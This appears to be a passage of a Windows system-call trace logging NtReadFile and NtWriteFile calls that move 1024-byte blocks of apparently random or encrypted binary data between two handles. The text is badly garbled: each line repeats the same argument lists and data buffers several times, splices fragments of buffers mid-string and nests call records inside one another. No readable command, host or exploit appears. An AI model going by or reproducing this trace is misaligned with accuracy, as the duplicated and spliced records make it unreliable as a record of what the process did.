"\5\233\34\2\331\375\36p\343\353w\351\16\261UX=5q\264\331\333\22v\301\323\351C\247\357\235\24I:\260Qd!H\14w/1$\347,\374*?j\330\267\323(\211\261\317\260ziLlC\343,\370\31%\7\272-\370]\371\11(\341\24c\215\223)~\33\325\377\324\237\326\242\332\327\350\27\321J\210^\345?\331\24q\31\306\356\324l\222\221\242j\24\336\264\362\335rb\344AI,\337\241\253\265P\342+\366\211\251W|+\324\337$\320\363\5\344\260\213\226\31\215q6\257\212\37[\21\365U\223Z\210\214\27z/^\342w\205Fh5\314\234!}\303\231\262\240\220\363\226\373]"\274\340\377\332\211\220\223k\357L\370\320Y\362\12H\240O\5\314\215\354Y$\254ep{F\203wp,-"\21\2251GpB\367,\314$\210\21-\365\10\27\373\6,o\11\217\211\310\247@n\361\17>u\207\3\6\215\273\200\260\345\277\316\252O\37V\247\37D\266\205\326\374Q\342\315w\313\271k\361\24\264\204\177G\365\32\257\251x\370\261\11~?5\370\31\217\312m\356\12\375\263XN\227\350\206f&\203B,\224\257\233,\366\345u\230\22\2\313\370\360\212\274\373\304\300\304\269\13\344\16'\274\371J\240\217\303\203`\256\21\364\314\225c\2163\224X\371\364\202N\367#,ob'0^\313 \324\364{\351\313\207Q\335\374r:E\332\336\262\255\202I"\277 \247\312A1\2o\330B\351\225\306F\337\256\275\32\254\12k\312\177cP\375},\244\/\362#\317V\300F\363\335j\5"\232\5\37mu\254\211\346\342F)&\2214<=|\23V!\2235\220J\67\216\7\225_\316R\245\357\31[\277\200\323W\300\25\214H\15\255\330%/\221}E\272:N\336\10\243\277\26\321\214w\236\340\277", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \277 \247\312A1\2o\330B\351\225\306F\337\256\275\32\254\12k\312\177cP\375},\244\/\362#\317V\300F\363\335j\5 (92, 0, 0, 0, "\5\233\34\2\331\375\36p\343\353w\351\16\261UX=5q\264\331\333\22v\301\323\351C\247\357\235\24I:\260Qd!H\14w/1$\347,\374*?j\330\267\323(\211\261\317\260ziLlC\343,\370\31%\7\272-\370]\371\11(\341\24c\215\223)~\33\325\377\324\237\326\242\332\327\350\27\321J\210^\345?\331\24q\31\306\356\324l\222\221\242j\24\336\264\362\335rb\344AI,\337\241\253\265P\342+\366\211\251W|+\324\337$\320\363\5\344\260\213\226\31\215q6\257\212\37[\21\365U\223Z\210\214\27z/^\342w\205Fh5\314\234!}\303\231\262\240\220\363\226\373]"\274\340\377\332\211\220\223k\357L\370\320Y\362\12H\240O\5\314\215\354Y$\254ep{F\203wp,-"\21\2251GpB\367,\314$\210\21-\365\10\27\373\6,o\11\217\211\310\247@n\361\17>u\207\3\6\215\273\200\260\345\277\316\252O\37V\247\37D\266\205\326\374Q\342\315w\313\271k\361\24\264\204\177G\365\32\257\251x\370\261\11~?5\370\31\217\312m\356\12\375\263XN\227\350\206f&\203B,\224\257\233,\366\345u\230\22\2\313\370\360\212\274\373\304\300\304\269\13\344\16'\274\371J\240\217\303\203`\256\21\364\314\225c\2163\224X\371\364\202N\367#,ob'0^\313 \324\364{\351\313\207Q\335\374r:E\332\336\262\255\202I"\277 \247\312A1\2o\330B\351\225\306F\337\256\275\32\254\12k\312\177cP\375},\244\/\362#\317V\300F\363\335j\5"\232\5\37mu\254\211\346\342F)&\2214<=|\23V!\2235\220J\67\216\7\225_\316R\245\357\31[\277\200\323W\300\25\214H\15\255\330%/\221}E\272:N\336\10\243\277\26\321\214w\236\340\277", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01278  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\26\310==\327\371\315\357%\330W&\251\355\10\315\205GLI*\343\235Y*\227\360nl\361057\323f6e;\267y\32;M\227\354N\7\310\314_#\262E%\301\251\326\314\324\5. ,q5\367P\3134\3046>1\305:\305\16`\315\270\335(\37\302\245\215\274\272\337\24\35520\264\37'\35\2300;d\345\253%\272W\354\24^\581\4\242{ f34)\14\246h\255+t\310\360\3221g\23\11{795;3=\301U\11\10w\16\17 /\260\231\30O1\257x\301\363\313\34\256\352\27\202\254\274\227\243\206N\250hj\323:\316=\_\202\214\37\367?\32\201m\321!2gB:@$F%\216`\17\355\277$\326\276^\21\212M?.\37r$\3374&\14\214\36k%\315\1\2160\252S`\266K\304w\351rk;\240ok\10\216m\13\214\15\241"\245Cd\310?\256F\330F\260#\263X\325\263\250Sf,\245W\31\275\204\213wi\257\225KI\232\236\255Nt\5.\266A\264G\244E\343q\274\337\271_k\326\24\266>.z\31\26\377o\17MJ~\16\354`*\344{{\350~\33\13\305(\374&"E\360!\67\202\350\226mX-c\224\255\211'\210\246\5\7.]\5qc\6\24!*',}_>\34(f\251)\304\2z\335\21\5m\33\321#\271"\27n\275\50\221\0_\240?\251o$\1\26\254\356vtvw-J\246=16\260\360\31\302\364\2508:\367C=\1?$\34"\36^\24!t\250\325\315\36\347O", ) \16`\315\270\335(\37\302\245\215\274\272\337\24\35520\264\37'\35\2300;d\345\253%\272W\354\24^\581\4\242{ f34)\14\246h\255+t\310\360\3221g\23\11{795;3=\301U\11\10w\16\17 /\260\231\30O1\257x\301\363\313\34\256\352\27\202\254\274\227\243\206N\250hj\323:\316=\_\202\214\37\367?\32\201m\321!2gB:@$F%\216`255^1g\337\264\353>\17\355\277$\326\276^\21\212M?.\37r$\3374&\14\214\36k%\315\1\2160\252S`\266K\304w\351rk;\240ok\10\216m\13\214\15\24134\205\4\11\341+!u~L/\2462S_\22\276'I\306\177\23\2(\276V\232\37\31=\36\234|:\371r\313\260d (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\26\310==\327\371\315\357%\330W&\251\355\10\315\205GLI*\343\235Y*\227\360nl\361057\323f6e;\267y\32;M\227\354N\7\310\314_#\262E%\301\251\326\314\324\5. ,q5\367P\3134\3046>1\305:\305\16`\315\270\335(\37\302\245\215\274\272\337\24\35520\264\37'\35\2300;d\345\253%\272W\354\24^\581\4\242{ f34)\14\246h\255+t\310\360\3221g\23\11{795;3=\301U\11\10w\16\17 /\260\231\30O1\257x\301\363\313\34\256\352\27\202\254\274\227\243\206N\250hj\323:\316=\_\202\214\37\367?\32\201m\321!2gB:@$F%\216`\17\355\277$\326\276^\21\212M?.\37r$\3374&\14\214\36k%\315\1\2160\252S`\266K\304w\351rk;\240ok\10\216m\13\214\15\241"\245Cd\310?\256F\330F\260#\263X\325\263\250Sf,\245W\31\275\204\213wi\257\225KI\232\236\255Nt\5.\266A\264G\244E\343q\274\337\271_k\326\24\266>.z\31\26\377o\17MJ~\16\354`*\344{{\350~\33\13\305(\374&"E\360!\67\202\350\226mX-c\224\255\211'\210\246\5\7.]\5qc\6\24!*',}_>\34(f\251)\304\2z\335\21\5m\33\321#\271"\27n\275\50\221\0_\240?\251o$\1\26\254\356vtvw-J\246=16\260\360\31\302\364\2508:\367C=\1?$\34"\36^\24!t\250\325\315\36\347O", ) E\360!\67\202\350\226mX-c\224\255\211'\210\246\5\7.]\5qc\6\24!*',}_>\34(f\251)\304\2z\335\21\5m\33\321#\271 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\26\310==\327\371\315\357%\330W&\251\355\10\315\205GLI*\343\235Y*\227\360nl\361057\323f6e;\267y\32;M\227\354N\7\310\314_#\262E%\301\251\326\314\324\5. ,q5\367P\3134\3046>1\305:\305\16`\315\270\335(\37\302\245\215\274\272\337\24\35520\264\37'\35\2300;d\345\253%\272W\354\24^\581\4\242{ f34)\14\246h\255+t\310\360\3221g\23\11{795;3=\301U\11\10w\16\17 /\260\231\30O1\257x\301\363\313\34\256\352\27\202\254\274\227\243\206N\250hj\323:\316=\_\202\214\37\367?\32\201m\321!2gB:@$F%\216`\17\355\277$\326\276^\21\212M?.\37r$\3374&\14\214\36k%\315\1\2160\252S`\266K\304w\351rk;\240ok\10\216m\13\214\15\241"\245Cd\310?\256F\330F\260#\263X\325\263\250Sf,\245W\31\275\204\213wi\257\225KI\232\236\255Nt\5.\266A\264G\244E\343q\274\337\271_k\326\24\266>.z\31\26\377o\17MJ~\16\354`*\344{{\350~\33\13\305(\374&"E\360!\67\202\350\226mX-c\224\255\211'\210\246\5\7.]\5qc\6\24!*',}_>\34(f\251)\304\2z\335\21\5m\33\321#\271"\27n\275\50\221\0_\240?\251o$\1\26\254\356vtvw-J\246=16\260\360\31\302\364\2508:\367C=\1?$\34"\36^\24!t\250\325\315\36\347O", ) \36^\24!t\250\325\315\36\347O", ) == 0x0
 01279  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "W\311\277S\366\12u46\6YK\212\202p)\343Z\314\207\271\23K\214\2215r\271\377H@\33\33\343\274\222\237\3705\227\301G\346\\202\240\7x\204\10'd0\24\234\217U\272\345\252D[!(\26\203V\30\274\320\26\362!\322\310\340\355a\5\366\36\301\335T\27l\231Sv\247f\0\213w\312~\205n\243m\253\21X\3345\333\35\34nv\234\345X\206.\6\373\26\300\3549IxF\11h\255]\351\\37\252\2\377u7[\275\353)*\321"L\341\242Y\7:J\264\377 \304\0 \262\33\237<\274\271 \310\35\3\26\375$\334\7\270)LZ\11|\0\23\3120\323\32\345\347o.\270=}%\220Lzrh\240DVm;\300\30\21\324\346 9\355\31\17t\270\310-\363\254\333-m\370t\364$\365\30A\221\326\306x\227myG(A\31\236\344Y\25\307I\274\22\266=b\2\217\2060G\205\374 \25%\331\332\207\20\225\15)g']\35N\342/1\243\354g*f\310\242\334\304\335=\20 T \201\326\24l?~\310\35\30\365\6$\323\261 \355\274\240T\337 \313\313\213\310\315w2\363\225\311\2625\15UJ\303YQ\231\327\274R\317\313\372\220\306\320\337\335\26I\274\356A\310F\237\4&"\275\\231g\23\266Fmz\149wv\11"S\25Fb\331\333>{\341\36 \302\311\232\305ZY6v\244\6]1\21\223\306)\23\253\221\355Z\330:[\302&\347\242t\262\256Z\6\272m(\347\237\3M;6l\327\256\250\223\7W\343kE\231\364\216\322\212\216\16~\242\247\202N0F\231.[*\215\323\2702C\355\257\357\4\3724c\27\267\6\357\230\247)\334\337\246\6\270q30!\222\30\260\340\14H\324!\231*^&\212\362\4\241t\64_i\274\242\222", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) L\341\242Y\7:J\264\377 \304\0 \262\33\237<\274\271 \310\35\3\26\375$\334\7\270)LZ\11|\0\23\3120\323\32\345\347o.\270=}%\220Lzrh\240DVm;\300\30\21\324\346 9\355\31\17t\270\310-\363\254\333-m\370t\364$\365\30A\221\326\306x\227myG(A\31\236\344Y\25\307I\274\22\266=b\2\217\2060G\205\374 \25%\331\332\207\20\225\15)g']\35N\342/1\243\354g*f\310\242\334\304\335=\20 T \201\326\24l?~\310\35\30\365\6$\323\261 \355\274\240T\337 \313\313\213\310\315w2\363\225\311\2625\15UJ\303YQ\231\327\274R\317\313\372\220\306\320\337\335\26I\274\356A\310F\237\4& (92, 0, 0, 0, "W\311\277S\366\12u46\6YK\212\202p)\343Z\314\207\271\23K\214\2215r\271\377H@\33\33\343\274\222\237\3705\227\301G\346\\202\240\7x\204\10'd0\24\234\217U\272\345\252D[!(\26\203V\30\274\320\26\362!\322\310\340\355a\5\366\36\301\335T\27l\231Sv\247f\0\213w\312~\205n\243m\253\21X\3345\333\35\34nv\234\345X\206.\6\373\26\300\3549IxF\11h\255]\351\\37\252\2\377u7[\275\353)*\321"L\341\242Y\7:J\264\377 \304\0 \262\33\237<\274\271 \310\35\3\26\375$\334\7\270)LZ\11|\0\23\3120\323\32\345\347o.\270=}%\220Lzrh\240DVm;\300\30\21\324\346 9\355\31\17t\270\310-\363\254\333-m\370t\364$\365\30A\221\326\306x\227myG(A\31\236\344Y\25\307I\274\22\266=b\2\217\2060G\205\374 \25%\331\332\207\20\225\15)g']\35N\342/1\243\354g*f\310\242\334\304\335=\20 T \201\326\24l?~\310\35\30\365\6$\323\261 \355\274\240T\337 \313\313\213\310\315w2\363\225\311\2625\15UJ\303YQ\231\327\274R\317\313\372\220\306\320\337\335\26I\274\356A\310F\237\4&"\275\\231g\23\266Fmz\149wv\11"S\25Fb\331\333>{\341\36 \302\311\232\305ZY6v\244\6]1\21\223\306)\23\253\221\355Z\330:[\302&\347\242t\262\256Z\6\272m(\347\237\3M;6l\327\256\250\223\7W\343kE\231\364\216\322\212\216\16~\242\247\202N0F\231.[*\215\323\2702C\355\257\357\4\3724c\27\267\6\357\230\247)\334\337\246\6\270q30!\222\30\260\340\14H\324!\231*^&\212\362\4\241t\64_i\274\242\222", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) S\25Fb\331\333>{\341\36 \302\311\232\305ZY6v\244\6]1\21\223\306)\23\253\221\355Z\330:[\302&\347\242t\262\256Z\6\272m(\347\237\3M;6l\327\256\250\223\7W\343kE\231\364\216\322\212\216\16~\242\247\202N0F\231.[*\215\323\2702C\355\257\357\4\3724c\27\267\6\357\230\247)\334\337\246\6\270q30!\222\30\260\340\14H\324!\231*^&\212\362\4\241t\64_i\274\242\222", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01280  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ".0``c\313 \272\353:;;;\321\273\366o\36\224\34\36!y+\246\344Q#\227((\350',,\321:t02-\11\6\217:6\256Q\374\311\215#9u\253d\210%z\3249\321\354\13<\2619\271t\260"\2x5\271\3768|\15\254\2332\235\32\35\337!"\313:\245#?\243l.k*\254\25\15\316\3162\314\7\374\274t\275\32\34YN\367\375\331\337#\203e\253s\14!{y-e\327.0?22\271y\22'h+>Q|e\33\1771p\337\32\337(0*\340\343\37%(/\241/\32-\32u6{\245\27124c\5\3769#[9\343\234=":\32\274W\236%E2\243$\2535\247(D\00\254-\2n=/r:5\366\223\2668\356\273;p#\276?\21\375\314\253\241!\206\302 7G2;?\252k,%\221/4\304\263#\36A\336o84\261\365=r\314\300\33\34\365W\36.!\346)\346\10\234&\250z\302i\322\323\321\331t1\26;5A?a\320\364\272w>=?\274\337\30\35\223o\342%""\253\15'U(Q\312h-U-Y\263\335\2`47\372(8&:$<"> \33\343", ) \311\215#9u\253d\210%z\3249\321\354\13<\2619\271t\260 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ".0``c\313 \272\353:;;;\321\273\366o\36\224\34\36!y+\246\344Q#\227((\350',,\321:t02-\11\6\217:6\256Q\374\311\215#9u\253d\210%z\3249\321\354\13<\2619\271t\260"\2x5\271\3768|\15\254\2332\235\32\35\337!"\313:\245#?\243l.k*\254\25\15\316\3162\314\7\374\274t\275\32\34YN\367\375\331\337#\203e\253s\14!{y-e\327.0?22\271y\22'h+>Q|e\33\1771p\337\32\337(0*\340\343\37%(/\241/\32-\32u6{\245\27124c\5\3769#[9\343\234=":\32\274W\236%E2\243$\2535\247(D\00\254-\2n=/r:5\366\223\2668\356\273;p#\276?\21\375\314\253\241!\206\302 7G2;?\252k,%\221/4\304\263#\36A\336o84\261\365=r\314\300\33\34\365W\36.!\346)\346\10\234&\250z\302i\322\323\321\331t1\26;5A?a\320\364\272w>=?\274\337\30\35\223o\342%""\253\15'U(Q\312h-U-Y\263\335\2`47\372(8&:$<"> \33\343", ) \313:\245#?\243l.k*\254\25\15\316\3162\314\7\374\274t265\23\34\25\226\21\253!\354\313\30\322\333\330\241o\352/\353k&/41\3568p4;w\273\3256\266x\31>\275\32\34YN\367\375\331\337#\203e\253s\14!{y-e\327.0?22\271y\22'h+>Q|e\33\1771p\337\32\337(0*\340347 \253\305\352#\252%\340(\361x=\340;tnS\320\317;i\372c<\36\2\20K.\224\21\311>\343\37%(/\241/\32-\32u6{\245\27124c\5\3769#[9\343\234= (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ".0``c\313 \272\353:;;;\321\273\366o\36\224\34\36!y+\246\344Q#\227((\350',,\321:t02-\11\6\217:6\256Q\374\311\215#9u\253d\210%z\3249\321\354\13<\2619\271t\260"\2x5\271\3768|\15\254\2332\235\32\35\337!"\313:\245#?\243l.k*\254\25\15\316\3162\314\7\374\274t\275\32\34YN\367\375\331\337#\203e\253s\14!{y-e\327.0?22\271y\22'h+>Q|e\33\1771p\337\32\337(0*\340\343\37%(/\241/\32-\32u6{\245\27124c\5\3769#[9\343\234=":\32\274W\236%E2\243$\2535\247(D\00\254-\2n=/r:5\366\223\2668\356\273;p#\276?\21\375\314\253\241!\206\302 7G2;?\252k,%\221/4\304\263#\36A\336o84\261\365=r\314\300\33\34\365W\36.!\346)\346\10\234&\250z\302i\322\323\321\331t1\26;5A?a\320\364\272w>=?\274\337\30\35\223o\342%""\253\15'U(Q\312h-U-Y\263\335\2`47\372(8&:$<"> \33\343", )  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ".0``c\313 \272\353:;;;\321\273\366o\36\224\34\36!y+\246\344Q#\227((\350',,\321:t02-\11\6\217:6\256Q\374\311\215#9u\253d\210%z\3249\321\354\13<\2619\271t\260"\2x5\271\3768|\15\254\2332\235\32\35\337!"\313:\245#?\243l.k*\254\25\15\316\3162\314\7\374\274t\275\32\34YN\367\375\331\337#\203e\253s\14!{y-e\327.0?22\271y\22'h+>Q|e\33\1771p\337\32\337(0*\340\343\37%(/\241/\32-\32u6{\245\27124c\5\3769#[9\343\234=":\32\274W\236%E2\243$\2535\247(D\00\254-\2n=/r:5\366\223\2668\356\273;p#\276?\21\375\314\253\241!\206\302 7G2;?\252k,%\221/4\304\263#\36A\336o84\261\365=r\314\300\33\34\365W\36.!\346)\346\10\234&\250z\302i\322\323\321\331t1\26;5A?a\320\364\272w>=?\274\337\30\35\223o\342%""\253\15'U(Q\312h-U-Y\263\335\2`47\372(8&:$<"> \33\343", ) > \33\343", ) == 0x0
 01281  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\13\236M\354\334C\374\273\12@^\244\346v\337\275\325\363Fh\360QP\272\234\22\265N\353\360\227y1\274;\34\344\221\274*Lf?\251`\331\2105\236e\334\243\251\32g\314\320l\363\255\17BQu$\30\333\201@4\217Ud\337.\322\206\313q\333\355w\336\372\342\226k\373\35\271p\300z\224\266\213\241p|\245b:\324\340z\333/\231@@\274\332f\251\377\366\17\226\317\267\200\232g\30T\233>A\350\312\357\271\374/^\200>\351\16,F\264\26\5b<\220\335\3759\240\244\331%\5F\224~\323Z\347NxX\344\2410\31\332\323\364k\326G\344XI\26\321Y\336\5\324-U\241\330\323\214\232j\340\373\220Y\230\221\27{G3,\227\205\262G\277\275P\3746(\377\213\36\241|q7F7VQ5Z\221$\302\367w\325J\301q\33\203|B\34\24\33Xx\320\354N\275\344\16\236W\362\272\241m\323d\300\2n\206BV\262\227\35\246\10o\340F~\337\22E'R\342\316'\363\301#\212\35q\247\265\344$C\303\152\362)\371\302\35q\16v\276H\15\202a\34\326j^\373\326\355\246]\0\332D*;{\265[s\211\333&\271\223\364\324\216r)4\304[\314s\2636\324\361\230\375\177r\304\337\374\335\353{\341\334:\24\300\3312C\336C\200\372\247\220\333\275\255\272v\241\362P\266,\314b\360\262\316\354\377\34\3677>D\13\236\376\312\301x\12\345Xx_0\224om\276s\224\334$\256\333\16b\275\0\302\232\201\371\i&\327\371\341!/\6.\335\13\371\13\167\277X\204E\320\350\271\272f\2764\323 \324\222\241\363\245\2001\336\272\305\211\20\234\306C\24\263#\314\265\331\225\262V\352\306\305\21\12\336<\315\313\344y\243m\243\302\361\345\27\373`\252\263Sx9", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01282  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\262\304'\206\7,r6n\302\215E\234\11\7:\217\2777}F\3564\305\3113\332\334=:v\224Tb\24n*\205+\345lQ8%ay\302\307]"&f\30x\332:O?A\26]\207\375XN\11;vQ\364\334\37_X+Ic\247\227BH\264GO\13\342\314,\315\232\21Q\3223n\327%\273\237IX?\274;J\333\16ynlEBMc\377E7\306!(\257N/IN,YZP\34\3646n\3681\23=\234r]\373\14\32%k{\231\352\246\265b(\257Y!\14\251"\212\251'\246N\261;"k9h\364\274\114\12ohhh\33\227a:\13\253\320\247\334$Qz\244\341\326\31\353\336/\200\257\0\306\343z\261\365\275=\321\270\37`\270\30\263b\31O9\346\364"\227\21\2451\235\0p\350\257\2525t\2560b\321da3'\275(\234ii\37\33i\2368R\270\32\33\336\33<\212$W/\215 a\15\300\352X|\240\241\255\24411\3202262\332g\320=\212\7\3369>D&\247$7\35w\37$\355\32+\25O\27F\21%\203\22S\301\2D\13H\11\37\232\6\346k1\355\356\233\33\37\35=/\16\21a\23E\25&]\30\236\32\351\34n\37/\273\0\341\2.\7R\58=\110\17-\15?\24\34\24\36u\231#\356\2$O\331C\211).+D\264\233l00b\2134\201@7:]\263\36<=:\327\352!\34\36\36sawu\257\221\2\367(\1\241+\365z\247s\24%\277M4K\273\27405\247;=\367_\1\36\226\235\36;0)\243!\37\303\247,\256M\3\212,\34\303\162}\260/s\26", ) &f\30x\332:O?A\26]\207\375XN\11;vQ\364\334\37_X+Ic\247\227BH\264GO\13\342\314,\315\232\21Q\3223n\327%\273\237IX?\274;J\333\16ynlEBMc\377E7\306!(\257N/IN,YZP\34\3646n\3681\23=\234r]\373\14\32%k{\231\352\246\265b(\257Y!\14\251 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\262\304'\206\7,r6n\302\215E\234\11\7:\217\2777}F\3564\305\3113\332\334=:v\224Tb\24n*\205+\345lQ8%ay\302\307]"&f\30x\332:O?A\26]\207\375XN\11;vQ\364\334\37_X+Ic\247\227BH\264GO\13\342\314,\315\232\21Q\3223n\327%\273\237IX?\274;J\333\16ynlEBMc\377E7\306!(\257N/IN,YZP\34\3646n\3681\23=\234r]\373\14\32%k{\231\352\246\265b(\257Y!\14\251"\212\251'\246N\261;"k9h\364\274\114\12ohhh\33\227a:\13\253\320\247\334$Qz\244\341\326\31\353\336/\200\257\0\306\343z\261\365\275=\321\270\37`\270\30\263b\31O9\346\364"\227\21\2451\235\0p\350\257\2525t\2560b\321da3'\275(\234ii\37\33i\2368R\270\32\33\336\33<\212$W/\215 a\15\300\352X|\240\241\255\24411\3202262\332g\320=\212\7\3369>D&\247$7\35w\37$\355\32+\25O\27F\21%\203\22S\301\2D\13H\11\37\232\6\346k1\355\356\233\33\37\35=/\16\21a\23E\25&]\30\236\32\351\34n\37/\273\0\341\2.\7R\58=\110\17-\15?\24\34\24\36u\231#\356\2$O\331C\211).+D\264\233l00b\2134\201@7:]\263\36<=:\327\352!\34\36\36sawu\257\221\2\367(\1\241+\365z\247s\24%\277M4K\273\27405\247;=\367_\1\36\226\235\36;0)\243!\37\303\247,\256M\3\212,\34\303\162}\260/s\26", ) k9h\364\274\114\12ohhh\33\227a:\13\253\320\247\334$Qz\244\341\326\31\353\336/\200\257\0\306\343z\261\365\275=\321\270\37`\270\30\263b\31O9\346\364 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\262\304'\206\7,r6n\302\215E\234\11\7:\217\2777}F\3564\305\3113\332\334=:v\224Tb\24n*\205+\345lQ8%ay\302\307]"&f\30x\332:O?A\26]\207\375XN\11;vQ\364\334\37_X+Ic\247\227BH\264GO\13\342\314,\315\232\21Q\3223n\327%\273\237IX?\274;J\333\16ynlEBMc\377E7\306!(\257N/IN,YZP\34\3646n\3681\23=\234r]\373\14\32%k{\231\352\246\265b(\257Y!\14\251"\212\251'\246N\261;"k9h\364\274\114\12ohhh\33\227a:\13\253\320\247\334$Qz\244\341\326\31\353\336/\200\257\0\306\343z\261\365\275=\321\270\37`\270\30\263b\31O9\346\364"\227\21\2451\235\0p\350\257\2525t\2560b\321da3'\275(\234ii\37\33i\2368R\270\32\33\336\33<\212$W/\215 a\15\300\352X|\240\241\255\24411\3202262\332g\320=\212\7\3369>D&\247$7\35w\37$\355\32+\25O\27F\21%\203\22S\301\2D\13H\11\37\232\6\346k1\355\356\233\33\37\35=/\16\21a\23E\25&]\30\236\32\351\34n\37/\273\0\341\2.\7R\58=\110\17-\15?\24\34\24\36u\231#\356\2$O\331C\211).+D\264\233l00b\2134\201@7:]\263\36<=:\327\352!\34\36\36sawu\257\221\2\367(\1\241+\365z\247s\24%\277M4K\273\27405\247;=\367_\1\36\226\235\36;0)\243!\37\303\247,\256M\3\212,\34\303\162}\260/s\26", ) , ) == 0x0
 01283  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\17q\5C\24\272\256mP\367\274c\1\327r\36\304\25d\351\37\332\5K\325c\6\255\223\330\3\32)+\264\314\326EIuG\301\271\370\334^\267\242\300\206\31\15\20E\177\225\214\316g\233\246\313td\331\301\366:\321\31^\272\371\207\274\246\334\306\367\372*>\364\341\16\372.\221\2\276\315F\373J\304">\375\211\336\b\215\334\302\203\230\240\232\361O6B\253'\233P\241g\33C\6)\34\213\302\246x\320?\313\31\12L\374\322\335O\371\334k\210\227L\10\26x}\316)\200V\327\353\373~3\303\372\335\13\370`\25u\334"\204\16x\22\235{Z\315\260\33\332\363\342\225\252\222\211\226o\375n\216#\14/\12[B \225W\320l\250\1\256"^\354\322\352\332\310=\246\202BT`.-\270w\324\27)\344Y\341D\250i\367\236\223\15\10\27\22\245\324,a\226`\7\25\376nN\255\270eS[\312Xlm\217\303z\374a\267=\272/\24\345\3523V\345\15\311\273\212\362\302\327\303\205V't3\200\324\214\305\6\273\311w\23\371\314\343\257\32\263\11\366\222\323\306\2013fs2D\310\247\225t%\27\377k\14PHX\141d\201\335\207I\345\240\252B\373?\227\373\23\220\10ZmC7\246\374\33AP\205\307\356\240\2030\26^j\0\305\244\211\211^\345Bd\357,\270\260\16\211\246\232\214H\376\33\342\274\14zTz?\304\313\236\210\343\0\275X2\27\255\154\223|x\262;\265w\335\204", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \326EIuG\301\271\370\334^\267\242\300\206\31\15\20E\177\225\214\316g\233\246\313td\331\301\366:\321\31^\272\371\207\274\246\334\306\367\372*>\364\341\16\372.\221\2\276\315F\373J\304 (92, 0, 0, 0, "\17q\5C\24\272\256mP\367\274c\1\327r\36\304\25d\351\37\332\5K\325c\6\255\223\330\3\32)+\264\314\326EIuG\301\271\370\334^\267\242\300\206\31\15\20E\177\225\214\316g\233\246\313td\331\301\366:\321\31^\272\371\207\274\246\334\306\367\372*>\364\341\16\372.\221\2\276\315F\373J\304">\375\211\336\b\215\334\302\203\230\240\232\361O6B\253'\233P\241g\33C\6)\34\213\302\246x\320?\313\31\12L\374\322\335O\371\334k\210\227L\10\26x}\316)\200V\327\353\373~3\303\372\335\13\370`\25u\334"\204\16x\22\235{Z\315\260\33\332\363\342\225\252\222\211\226o\375n\216#\14/\12[B \225W\320l\250\1\256"^\354\322\352\332\310=\246\202BT`.-\270w\324\27)\344Y\341D\250i\367\236\223\15\10\27\22\245\324,a\226`\7\25\376nN\255\270eS[\312Xlm\217\303z\374a\267=\272/\24\345\3523V\345\15\311\273\212\362\302\327\303\205V't3\200\324\214\305\6\273\311w\23\371\314\343\257\32\263\11\366\222\323\306\2013fs2D\310\247\225t%\27\377k\14PHX\141d\201\335\207I\345\240\252B\373?\227\373\23\220\10ZmC7\246\374\33AP\205\307\356\240\2030\26^j\0\305\244\211\211^\345Bd\357,\270\260\16\211\246\232\214H\376\33\342\274\14zTz?\304\313\236\210\343\0\275X2\27\255\154\223|x\262;\265w\335\204", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \204\16x\22\235{Z\315\260\33\332\363\342\225\252\222\211\226o\375n\216#\14/\12[B \225W\320l\250\1\256 (92, 0, 0, 0, "\17q\5C\24\272\256mP\367\274c\1\327r\36\304\25d\351\37\332\5K\325c\6\255\223\330\3\32)+\264\314\326EIuG\301\271\370\334^\267\242\300\206\31\15\20E\177\225\214\316g\233\246\313td\331\301\366:\321\31^\272\371\207\274\246\334\306\367\372*>\364\341\16\372.\221\2\276\315F\373J\304">\375\211\336\b\215\334\302\203\230\240\232\361O6B\253'\233P\241g\33C\6)\34\213\302\246x\320?\313\31\12L\374\322\335O\371\334k\210\227L\10\26x}\316)\200V\327\353\373~3\303\372\335\13\370`\25u\334"\204\16x\22\235{Z\315\260\33\332\363\342\225\252\222\211\226o\375n\216#\14/\12[B \225W\320l\250\1\256"^\354\322\352\332\310=\246\202BT`.-\270w\324\27)\344Y\341D\250i\367\236\223\15\10\27\22\245\324,a\226`\7\25\376nN\255\270eS[\312Xlm\217\303z\374a\267=\272/\24\345\3523V\345\15\311\273\212\362\302\327\303\205V't3\200\324\214\305\6\273\311w\23\371\314\343\257\32\263\11\366\222\323\306\2013fs2D\310\247\225t%\27\377k\14PHX\141d\201\335\207I\345\240\252B\373?\227\373\23\220\10ZmC7\246\374\33AP\205\307\356\240\2030\26^j\0\305\244\211\211^\345Bd\357,\270\260\16\211\246\232\214H\376\33\342\274\14zTz?\304\313\236\210\343\0\275X2\27\255\154\223|x\262;\265w\335\204", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
